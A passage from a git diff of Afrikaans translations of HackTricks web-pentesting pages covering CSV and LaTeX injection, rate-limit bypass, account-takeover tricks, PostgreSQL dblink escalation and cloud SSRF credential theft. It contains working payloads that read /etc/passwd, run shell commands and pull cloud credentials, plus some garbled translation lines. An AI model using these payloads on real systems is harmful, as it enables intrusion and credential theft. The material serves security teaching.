arbitrĂȘre plekke te doen. Maar dit vereis dat die gebruiker op die skakel klik (en die waarskuwingstoestemmings aanvaar).** +**Die volgende voorbeeld is baie nuttig om inhoud uit die finale excel-skaak te onttrek en om versoeke na arbitrĂȘre plekke te doen. Maar dit vereis dat die gebruiker op die skakel klik (en die waarskuwingstoestemmings aanvaar).** Die volgende voorbeeld is geneem van [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) -Stel jou 'n sekuriteitsbreuk in 'n Student Record Management-stelsel voor wat deur 'n CSV-inspuitaanval uitgebuit word. Die aanvaller se primĂȘre bedoeling is om die stelsel wat deur onderwysers gebruik word om student besonderhede te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige payload in die toepassing inspuit, spesifiek deur skadelike formules in velde bedoel vir student besonderhede in te voer. Die aanval ontvou soos volg: +Stel jou 'n sekuriteitsbreuk in 'n Student Record Management-stelsel voor wat deur 'n CSV-inspuitaanval uitgebuit word. Die aanvaller se primĂȘre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentedetails te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige payload in die toepassing inspuit, spesifiek deur skadelike formules in velde wat vir studentedetails bedoel is, in te voer. Die aanval ontvou soos volg: 1. **Inspuiting van Kwaadwillige Payload:** -- Die aanvaller dien 'n student besonderhede vorm in, maar sluit 'n formule in wat algemeen in sigblaaie gebruik word (bv. `=HYPERLINK("","Click here")`). +- Die aanvaller dien 'n studentedetailvorm in, maar sluit 'n formule in wat algemeen in sigblaaie gebruik word (bv. `=HYPERLINK("","Click here")`). - Hierdie formule is ontwerp om 'n hyperlink te skep, maar dit wys na 'n kwaadwillige bediener wat deur die aanvaller beheer word. 2. **Exportering van Gecompromitteerde Data:** - Onderwysers, onbewus van die kompromie, gebruik die toepassing se funksionaliteit om die data in 'n CSV-lĂȘer te exporteer. @@ -79,11 +79,11 @@ Google Sheets bied funksies wat uitgebuit kan word vir OOB data exfiltrasie: ## LaTeX Inspuiting -Gewoonlik gebruik die bedieners wat op die internet gevind word wat **LaTeX kode na PDF** omskakel **`pdflatex`**.\ +Gewoonlik gebruik die bedieners wat op die internet gevind word wat **LaTeX kode na PDF** **omskakel** **`pdflatex`**.\ Hierdie program gebruik 3 hoofkenmerke om (nie)opdraguitvoering toe te laat nie: - **`--no-shell-escape`**: **Deaktiveer** die `\write18{command}` konstruksie, selfs al is dit geaktiveer in die texmf.cnf lĂȘer. -- **`--shell-restricted`**: Dieselfde as `--shell-escape`, maar **beperk** tot 'n 'veilige' stel **voorgedefinieerde** \*\*opdragte (\*\*Op Ubuntu 16.04 is die lys in `/usr/share/texmf/web2c/texmf.cnf`). +- **`--shell-restricted`**: Dieselfde as `--shell-escape`, maar **beperk** tot 'n 'veilige' stel **vooraf gedefinieerde** **opdragte** (**Op Ubuntu 16.04 is die lys in `/usr/share/texmf/web2c/texmf.cnf`). - **`--shell-escape`**: **Aktiveer** die `\write18{command}` konstruksie. Die opdrag kan enige skulpopdrag wees. Hierdie konstruksie word normaalweg om veiligheidsredes verbied. Daar is egter ander maniere om opdragte uit te voer, so om RCE te vermy is dit baie belangrik om `--shell-restricted` te gebruik. @@ -106,7 +106,7 @@ Jy mag dalk die inspuiting met wrappers soos \[ of $ moet aanpas. \text{\line} \closein\file ``` -#### Lees 'n veelvuldige lynlĂȘer +#### Lees meervoudige lyn lĂȘer ```bash \newread\file \openin\file=/etc/passwd @@ -148,7 +148,7 @@ Die invoer van die opdrag sal na stdin herlei word, gebruik 'n tydelike lĂȘer om ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` -As jy enige LaTex-fout kry, oorweeg dit om base64 te gebruik om die resultaat te kry sonder slegte karakters. +As jy enige LaTex-fout kry, oorweeg dit om base64 te gebruik om die resultaat te verkry sonder slegte karakters. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} @@ -165,7 +165,7 @@ Van [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` -## Ghostscript Injection +## Ghostscript Inspuiting **Kontroleer** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index 744abb3b6..868769609 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -1,20 +1,20 @@ -# Tariefbeperking Omseiling +# Rate Limit Bypass {{#include ../banners/hacktricks-training.md}} -## Tegnieke vir tariefbeperking omseiling +## Rate limit bypass techniques -### Verkenning van soortgelyke eindpunte +### Exploring Similar Endpoints Pogings moet gemaak word om brute force-aanvalle uit te voer op variasies van die geteikende eindpunt, soos `/api/v3/sign-up`, insluitend alternatiewe soos `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` ens. -### Invoeging van leĂ« karakters in kode of parameters +### Incorporating Blank Characters in Code or Parameters Die invoeging van leĂ« bytes soos `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` in kode of parameters kan 'n nuttige strategie wees. Byvoorbeeld, om 'n parameter aan te pas na `code=1234%0a` stel gebruikers in staat om pogings uit te brei deur variasies in invoer, soos om nuwe reĂ«l karakters by 'n e-posadres te voeg om om te gaan met pogingbeperkings. -### Manipulasie van IP-oorsprong via koptekste +### Manipulating IP Origin via Headers -Die aanpassing van koptekste om die waargenome IP-oorsprong te verander kan help om IP-gebaseerde tariefbeperking te ontduik. Koptekste soos `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, insluitend die gebruik van meerdere instansies van `X-Forwarded-For`, kan aangepas word om versoeke van verskillende IP's te simuleer. +Die aanpassing van headers om die waargenome IP-oorsprong te verander kan help om IP-gebaseerde snelheidbeperkings te ontduik. Headers soos `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, insluitend die gebruik van meerdere instansies van `X-Forwarded-For`, kan aangepas word om versoeke van verskillende IP's te simuleer. ```bash X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 @@ -30,26 +30,30 @@ X-Forwarded-For: 127.0.0.1 ``` ### Verandering van Ander Headers -Dit word aanbeveel om ander versoekheaders soos die user-agent en koekies te verander, aangesien hierdie ook gebruik kan word om versoekpatrone te identifiseer en te volg. Die verandering van hierdie headers kan voorkom dat die versoeker se aktiwiteite herken en gevolg word. +Dit word aanbeveel om ander versoekheaders soos die user-agent en koekies te verander, aangesien hierdie ook gebruik kan word om versoekpatrone te identifiseer en te volg. Die verandering van hierdie headers kan herkenning en opsporing van die versoeker se aktiwiteite voorkom. ### Benutting van API Gateway Gedrag -Sommige API-gateways is geconfigureer om spoedbeperkings toe te pas op grond van die kombinasie van eindpunt en parameters. Deur die parameterwaardes te varieer of nie-betekenisvolle parameters aan die versoek toe te voeg, is dit moontlik om die gateway se spoedbeperkingslogika te omseil, wat elke versoek uniek laat voorkom. Byvoorbeeld `/resetpwd?someparam=1`. +Sommige API-gateways is geconfigureer om koersbeperkings toe te pas op grond van die kombinasie van eindpunt en parameters. Deur die parameterwaardes te varieer of nie-betekenisvolle parameters aan die versoek toe te voeg, is dit moontlik om die gateway se koersbeperkingslogika te omseil, wat elke versoek uniek laat voorkom. Byvoorbeeld `/resetpwd?someparam=1`. -### Teken in op Jou Rekening Voor Elke Poging +### Inlog in Jou Rekening Voor Elke Poging -Teken in op 'n rekening voor elke poging, of elke stel pogings, kan die spoedbeperkings teller reset. Dit is veral nuttig wanneer jy inlogfunksies toets. Die gebruik van 'n Pitchfork-aanval in gereedskap soos Burp Suite, om akrediteer te roteer elke paar pogings en te verseker dat volg-omleidings gemerk is, kan effektief die spoedbeperkings tellers herbegin. +Inlog in 'n rekening voor elke poging, of elke stel pogings, kan die koersbeperkings teller reset. Dit is veral nuttig wanneer jy inlogfunksies toets. Die gebruik van 'n Pitchfork-aanval in gereedskap soos Burp Suite, om akrediteer te roteer elke paar pogings en te verseker dat volg-omleidings gemerk is, kan effektief koersbeperkings tellers herbegin. ### Benutting van Proxy Netwerke -Die ontplooiing van 'n netwerk van proxies om die versoeke oor verskeie IP-adresse te versprei, kan effektief IP-gebaseerde spoedbeperkings omseil. Deur verkeer deur verskeie proxies te lei, lyk elke versoek asof dit van 'n ander bron afkomstig is, wat die doeltreffendheid van die spoedbeperking verdun. +Die ontplooiing van 'n netwerk van proxies om die versoeke oor verskeie IP-adresse te versprei, kan effektief IP-gebaseerde koersbeperkings omseil. Deur verkeer deur verskeie proxies te lei, lyk elke versoek asof dit van 'n ander bron afkomstig is, wat die doeltreffendheid van die koersbeperking verdun. -### Verdeling van die Aanval oor Verskillende Rekeninge of Sessies +### Verdelen van die Aanval oor Verskillende Rekeninge of Sessies -As die teikenstelsel spoedbeperkings op 'n per-rekening of per-sessie basis toepas, kan die verspreiding van die aanval of toets oor verskeie rekening of sessies help om opsporing te vermy. Hierdie benadering vereis die bestuur van verskeie identiteite of sessietokens, maar kan effektief die las versprei om binne toelaatbare grense te bly. +As die teikenstelsel koersbeperkings op 'n per-rekening of per-sessie basis toepas, kan die verspreiding van die aanval of toets oor verskeie rekening of sessies help om opsporing te vermy. Hierdie benadering vereis die bestuur van verskeie identiteite of sessietokens, maar kan effektief die las versprei om binne toelaatbare grense te bly. ### Hou Aan Probeer -Let daarop dat selfs al is daar 'n spoedbeperking in plek, jy moet probeer om te sien of die reaksie anders is wanneer die geldige OTP gestuur word. In [**hierdie pos**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), het die foutjagter ontdek dat selfs al is 'n spoedbeperking geaktiveer na 20 onsuksesvolle pogings deur met 401 te antwoord, as die geldige een gestuur is, is 'n 200 reaksie ontvang. +Let daarop dat selfs al is daar 'n koersbeperking in plek, jy moet probeer om te sien of die reaksie verskil wanneer die geldige OTP gestuur word. In [**hierdie pos**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), het die foutjagter ontdek dat selfs al is 'n koersbeperking geaktiveer na 20 onsuksesvolle pogings deur met 401 te reageer, as die geldige een gestuur is, 'n 200 reaksie ontvang is. + +### Gereedskap + +- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz is 'n fuzzing-gereedskap wat ontwerp is om WAFs en CDNs te toets en te omseil. Deur gevorderde funksies soos ewekansige User-Agent en headerwaarde, ewekansige vertragings, multi-threading te hanteer, selektiewe chunking van woordlyste en Round Robin proxy-rotasie vir elke chunked, bied dit 'n robuuste oplossing vir sekuriteitsprofessionals wat daarop gemik is om kwesbaarhede in webtoepassings te identifiseer. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index c415dccb9..338c47a39 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -1,4 +1,4 @@ -# Registrasie & Oorname Kwessies +# Registrasie & Oorname Kw vulnerabilities {{#include ../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ - Kontroleer verskillende e-pos: - hoofletters - \+1@ -- voeg 'n paar punte in die e-pos by +- voeg 'n punt in die e-pos by - spesiale karakters in die e-pos naam (%00, %09, %20) - Sit swart karakters na die e-pos: `test@test.com a` - victim@gmail.com@attacker.com @@ -18,16 +18,16 @@ ### Gebruikersnaam Enumerasie -Kontroleer of jy kan uitvind wanneer 'n gebruikersnaam reeds binne die toepassing geregistreer is. +Kontroleer of jy kan uitvind wanneer 'n gebruikersnaam reeds in die toepassing geregistreer is. ### Wagwoordbeleid Skep 'n gebruiker en kontroleer die wagwoordbeleid (kontroleer of jy swak wagwoorde kan gebruik).\ In daardie geval kan jy probeer om akrediteer te brute-force. -### SQL Inspuiting +### SQL Inbraak -[**Kontroleer hierdie bladsy** ](sql-injection/index.html#insert-statement)om te leer hoe om rekeningoorname te probeer of inligting te onttrek via **SQL Inspuitings** in registrasievorms. +[**Kontroleer hierdie bladsy** ](sql-injection/index.html#insert-statement)om te leer hoe om rekeningoorname te probeer of inligting te onttrek via **SQL Inbrake** in registrasievorms. ### Oauth Oornames @@ -35,7 +35,7 @@ In daardie geval kan jy probeer om akrediteer te brute-force. oauth-to-account-takeover.md {{#endref}} -### SAML Kwessies +### SAML Kw vulnerabilities {{#ref}} saml-attacks/ @@ -50,9 +50,9 @@ Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie - Kontroleer of jy **weggooie e-posse** kan gebruik - **Lang** **wagwoord** (>200) lei tot **DoS** - **Kontroleer koerslimiete op rekeningcreasie** -- Gebruik username@**burp_collab**.net en analiseer die **callback** +- Gebruik username@**burp_collab**.net en analiseer die **terugroep** -## **Wagwoord Herstel Oorname** +## **Wagwoord Herstel Oornames** ### Wagwoord Herstel Token Lek Via Verwysing @@ -61,7 +61,7 @@ Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie 3. Moet nie wagwoord verander nie 4. Klik op enige 3de party webwerwe (bv: Facebook, twitter) 5. Intercepteer die versoek in Burp Suite proxy -6. Kontroleer of die verwysingskop lĂȘer die wagwoord herstel token lek. +6. Kontroleer of die verwysingskop lek wagwoord herstel token. ### Wagwoord Herstel Besmetting @@ -69,10 +69,10 @@ Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie 2. Voeg of wysig die volgende koppe in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 3. Stuur die versoek met die gewysigde kop\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` -4. Soek vir 'n wagwoord herstel URL gebaseer op die _host kop_ soos : `https://attacker.com/reset-password.php?token=TOKEN` +4. Soek vir 'n wagwoord herstel URL gebaseer op die _host header_ soos : `https://attacker.com/reset-password.php?token=TOKEN` ### Wagwoord Herstel Via E-pos Parameter -```powershell +```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com @@ -92,34 +92,34 @@ email=victim@mail.com|hacker@mail.com 1. Aanvaller moet met hul rekening aanmeld en na die **Verander wagwoord** funksie gaan. 2. Begin die Burp Suite en onderskep die versoek. -3. Stuur dit na die herhaler tab en wysig die parameters : Gebruiker ID/e-pos\ +3. Stuur dit na die herhaler tab en wysig die parameters: User ID/e-pos\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` ### Swak Wagwoord Herstel Token Die wagwoord herstel token moet ewekansig gegenereer en uniek wees elke keer.\ -Probeer om te bepaal of die token verval of as dit altyd dieselfde is, in sommige gevalle is die generasie-algoritme swak en kan dit geraai word. Die volgende veranderlikes mag deur die algoritme gebruik word. +Probeer om te bepaal of die token verval of as dit altyd dieselfde is; in sommige gevalle is die generasie-algoritme swak en kan dit geraai word. Die volgende veranderlikes mag deur die algoritme gebruik word. - Tydstempel -- GebruikerID -- E-pos van Gebruiker +- UserID +- E-pos van gebruiker - Voornaam en Van - Geboortedatum - Kriptografie -- Slegs nommers -- Klein token volgorde ( karakters tussen \[A-Z,a-z,0-9]) +- Slegs nommer +- Klein token volgorde (karakters tussen \[A-Z,a-z,0-9]) - Token hergebruik - Token vervaldatum ### Lekke Wagwoord Herstel Token -1. Trigger 'n wagwoord herstel versoek deur die API/UI vir 'n spesifieke e-pos bv: test@mail.com +1. Trigger 'n wagwoord herstel versoek deur die API/UI vir 'n spesifieke e-pos, bv: test@mail.com 2. Ondersoek die bediener se antwoord en kyk vir `resetToken` 3. Gebruik dan die token in 'n URL soos `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` -### Wagwoord Herstel Via Gebruikersnaam Botsing +### Wagwoord Herstel Deur Gebruikersnaam Botsing -1. Registreer op die stelsel met 'n gebruikersnaam wat identies is aan die slagoffer se gebruikersnaam, maar met spasiĂ«ring voor en/of na die gebruikersnaam. bv: `"admin "` +1. Registreer op die stelsel met 'n gebruikersnaam wat identies is aan die slagoffer se gebruikersnaam, maar met spasie voor en/of na die gebruikersnaam ingevoeg. bv: `"admin "` 2. Versoek 'n wagwoord herstel met jou kwaadwillige gebruikersnaam. 3. Gebruik die token wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord. 4. Sluit aan by die slagoffer se rekening met die nuwe wagwoord. @@ -127,13 +127,13 @@ Probeer om te bepaal of die token verval of as dit altyd dieselfde is, in sommig Die platform CTFd was kwesbaar vir hierdie aanval.\ Sien: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) -### Rekening Oorname Via Cross Site Scripting +### Rekening Oorname Deur Cross Site Scripting -1. Vind 'n XSS binne die toepassing of 'n subdomein as die koekies na die ouer domein gescope is : `*.domain.com` +1. Vind 'n XSS binne die toepassing of 'n subdomein as die koekies op die ouerdomein gescope is: `*.domain.com` 2. Lek die huidige **sessies koekie** 3. Verifieer as die gebruiker met behulp van die koekie -### Rekening Oorname Via HTTP Versoek Smuggling +### Rekening Oorname Deur HTTP Versoek Smuggling 1\. Gebruik **smuggler** om die tipe HTTP Versoek Smuggling (CL, TE, CL.TE) te detecteer\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ @@ -155,12 +155,12 @@ Hackerone verslae wat hierdie fout benut\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) -### Rekening Oorname via CSRF +### Rekening Oorneming via CSRF 1. Skep 'n payload vir die CSRF, bv: “HTML vorm met outomatiese indiening vir 'n wagwoord verandering” 2. Stuur die payload -### Rekening Oorname via JWT +### Rekening Oorneming via JWT JSON Web Token mag gebruik word om 'n gebruiker te verifieer. diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 810cb77a6..1783b6203 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -12,11 +12,11 @@ Sodra jy dblink gelaai het, kan jy 'n paar interessante truuks uitvoer: ### Privilege Escalation -Die lĂȘer `pg_hba.conf` kan sleg geconfigureer wees **wat verbindings** vanaf **localhost as enige gebruiker** toelaat sonder om die wagwoord te ken. Hierdie lĂȘer kan tipies gevind word in `/etc/postgresql/12/main/pg_hba.conf` en 'n slegte konfigurasie lyk soos: +Die lĂȘer `pg_hba.conf` kan sleg geconfigureer wees **wat verbindings** vanaf **localhost as enige gebruiker** toelaat sonder om die wagwoord te hoef te ken. Hierdie lĂȘer kan tipies gevind word in `/etc/postgresql/12/main/pg_hba.conf` en 'n slegte konfigurasie lyk soos: ``` local all all trust ``` -_Note dat hierdie konfigurasie algemeen gebruik word om die wagwoord van 'n db-gebruiker te verander wanneer die admin dit vergeet, so soms mag jy dit vind._\ +_Note dat hierdie konfigurasie algemeen gebruik word om die wagwoord van 'n db-gebruiker te wysig wanneer die admin dit vergeet, so soms mag jy dit vind._\ _Note ook dat die lĂȘer pg_hba.conf slegs deur die postgres-gebruiker en -groep leesbaar is en slegs deur die postgres-gebruiker skryfbaar is._ Hierdie geval is **nuttig as** jy **reeds** 'n **shell** binne die slagoffer het, aangesien dit jou sal toelaat om met die postgresql-databasis te verbind. @@ -26,7 +26,7 @@ Hierdie geval is **nuttig as** jy **reeds** 'n **shell** binne die slagoffer het host all all 127.0.0.1/32 trust ``` Aangesien dit almal van die localhost sal toelaat om as enige gebruiker met die databasis te verbind.\ -In hierdie geval en as die **`dblink`** funksie **werk**, kan jy **privileges opgradeer** deur met die databasis te verbind deur 'n reeds gevestigde verbinding en toegang tot data wat nie toegang behoort te hĂȘ nie: +In hierdie geval en as die **`dblink`** funksie **werk**, kan jy **privileges opgradeer** deur met die databasis te verbind deur 'n reeds gevestigde verbinding en toegang tot data wat jy nie behoort te kan toegang nie: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres @@ -69,7 +69,7 @@ DETAIL: timeout expired ERROR: could not establish connection DETAIL: received invalid response to SSL negotiation: ``` -Let daarop dat **voor** jy in staat is om `dblink_connect` of `dblink_connect_u` te gebruik, jy dalk moet uitvoer: +Let daarop dat **voor** jy `dblink_connect` of `dblink_connect_u` kan gebruik, jy dalk moet uitvoer: ``` CREATE extension dblink; ``` diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 471d713dd..90a434d6a 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -13,7 +13,7 @@ Daar is **2 weergawes** van die metadata eindpunt. Die **eerste** een laat toe o > [!CAUTION] > Let daarop dat as die EC2 instansie IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hĂȘ, wat dit onmoontlik maak om die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry. > -> Boonop sal **IMDSv2** ook **versoeke blokkeer om 'n token te verkry wat die `X-Forwarded-For` kop insluit**. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang daartoe kan verkry. +> Boonop sal **IMDSv2** ook **versoeke blokkeer om 'n token te verkry wat die `X-Forwarded-For` kop bevat**. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang kan verkry. Jy kan inligting oor die [metadata eindpunte in die dokumentasie vind](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In die volgende skrip word 'n paar interessante inligting daaruit verkry: ```bash @@ -75,13 +75,13 @@ echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` -As 'n **openlik beskikbare IAM-akkrediteerings** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) +As 'n **openlik beskikbare IAM geloofsbriewe** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) -Jy kan ook publieke **EC2-sekuriteitsakkrediteerings** nagaan in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) +Jy kan ook openbare **EC2 sekuriteitsgeloofsbriewe** nagaan in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) -Jy kan dan **daardie akkrediteerings neem en dit saam met die AWS CLI gebruik**. Dit sal jou toelaat om **enige iets te doen wat daardie rol toestemming het** om te doen. +Jy kan dan **daardie geloofsbriewe neem en dit saam met die AWS CLI gebruik**. Dit sal jou toelaat om **enige iets te doen wat daardie rol toestemming het** om te doen. -Om voordeel te trek uit die nuwe akkrediteerings, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een: +Om voordeel te trek uit die nuwe geloofsbriewe, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een: ``` [profilename] aws_access_key_id = ASIA6GG71[...] @@ -97,13 +97,13 @@ Let op die **aws_session_token**, dit is onontbeerlik vir die profiel om te werk **ECS** is 'n logiese groep van EC2-instanties waarop jy 'n toepassing kan uitvoer sonder om jou eie klusterbestuursinfrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in **ECS** loop te kompromitteer, sal die **metadata eindpunte verander**. As jy _**http://169.254.170.2/v2/credentials/\**_ toegang verkry, sal jy die geloofsbriewe van die ECS-masjien vind. Maar eers moet jy die **\** vind. Om die \ te vind, moet jy die **environ** veranderlike **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** binne die masjien lees.\ -Jy kan dit dalk lees deur 'n **Path Traversal** te benut na `file:///proc/self/environ`\ +Jy kan dit dalk lees deur 'n **Path Traversal** na `file:///proc/self/environ` te benut.\ Die genoemde http adres behoort jou die **AccessKey, SecretKey en token** te gee. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` > [!NOTE] -> Let daarop dat jy in **sommige gevalle** toegang tot die **EC2 metadata instansie** vanaf die houer sal hĂȘ (kyk na die IMDSv2 TTL beperkings wat vroeĂ«r genoem is). In hierdie scenario's kan jy vanaf die houer toegang tot beide die houer IAM rol en die EC2 IAM rol kry. +> Let daarop dat jy in **sommige gevalle** toegang tot die **EC2 metadata instansie** vanaf die houer sal hĂȘ (kyk na die IMDSv2 TTL beperkings wat vroeĂ«r genoem is). In hierdie scenario's kan jy vanaf die houer toegang tot beide die houer IAM rol en die EC2 IAM rol verkry. ### SSRF vir AWS Lambda @@ -118,7 +118,7 @@ Die **name** van die **interessante omgewingsveranderlikes** is: Boonop, benewens IAM bewese, het Lambda funksies ook **gebeurtenisdata wat aan die funksie oorgedra word wanneer dit begin**. Hierdie data is beskikbaar vir die funksie via die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) en kan **sensitiewe** **inligting** bevat (soos binne die **stageVariables**). Anders as IAM bewese, is hierdie data toeganklik oor standaard SSRF by **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. > [!WARNING] -> Let daarop dat **lambda bewese** binne die **omgewingsveranderlikes** is. So as die **stack trace** van die lambda kode omgewingsveranderlikes druk, is dit moontlik om hulle te **exfiltreer deur 'n fout** in die toepassing te veroorsaak. +> Let daarop dat **lambda bewese** binne die **omgewingsveranderlikes** is. So as die **stack trace** van die lambda kode omgewingsveranderlikes druk, is dit moontlik om hulle te **exfiltreer deur 'n fout** in die app te veroorsaak. ### SSRF URL vir AWS Elastic Beanstalk @@ -127,7 +127,7 @@ Ons verkry die `accountId` en `region` vanaf die API. http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` -Ons haal dan die `AccessKeyId`, `SecretAccessKey`, en `Token` van die API. +Ons haal dan die `AccessKeyId`, `SecretAccessKey`, en `Token` van die API af. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` @@ -226,7 +226,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` -Beta vereis NIE 'n kop nie (dankie Mathias Karlsson @avlidienbrunn) +Beta vereis NIE 'n kopstuk nie (dankie Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true @@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo ``` ### Cloud Functions -Die metadata-eindpunt werk dieselfde as in VMs, maar sonder sommige eindpunte: +Die metadata-eindpunt werk dieselfde as in VM's, maar sonder sommige eindpunte: ```bash # /project # Project name and number @@ -325,13 +325,13 @@ curl http://169.254.169.254/metadata/v1.json | jq > [!TIP] > 'n Azure VM kan 1 stelsel bestuurde identiteit en verskeie gebruikers bestuurde identiteite hĂȘ. Dit beteken basies dat jy **alle bestuurde identiteite wat aan 'n VM gekoppel is, kan naboots**. > -> Deur **verstek** sal die metadata-eindpunt die **stelsel toegewyde MI (indien enige)** gebruik. +> Wanneer jy 'n toegangstoken vir die metadata-eindpunt aan vra, sal die metadata-diens standaard die **stelsel toegewyde bestuurde identiteit** gebruik om die token te genereer, as daar enige stelsel toegewyde bestuurde identiteit is. As daar net **EEN gebruikers toegewyde bestuurde identiteit** is, sal dit standaard gebruik word. As daar egter geen stelsel toegewyde bestuurde identiteit is nie en daar **meerdere gebruikers toegewyde bestuurde identiteite** is, sal die metadata-diens 'n fout teruggee wat aandui dat daar meerdere bestuurde identiteite is en dit nodig is om **te spesifiseer watter een om te gebruik**. > -> Ongelukkig kon ek nie enige metadata-eindpunt vind wat al die MI's aandui wat 'n VM gekoppel het nie. +> Ongelukkig kon ek 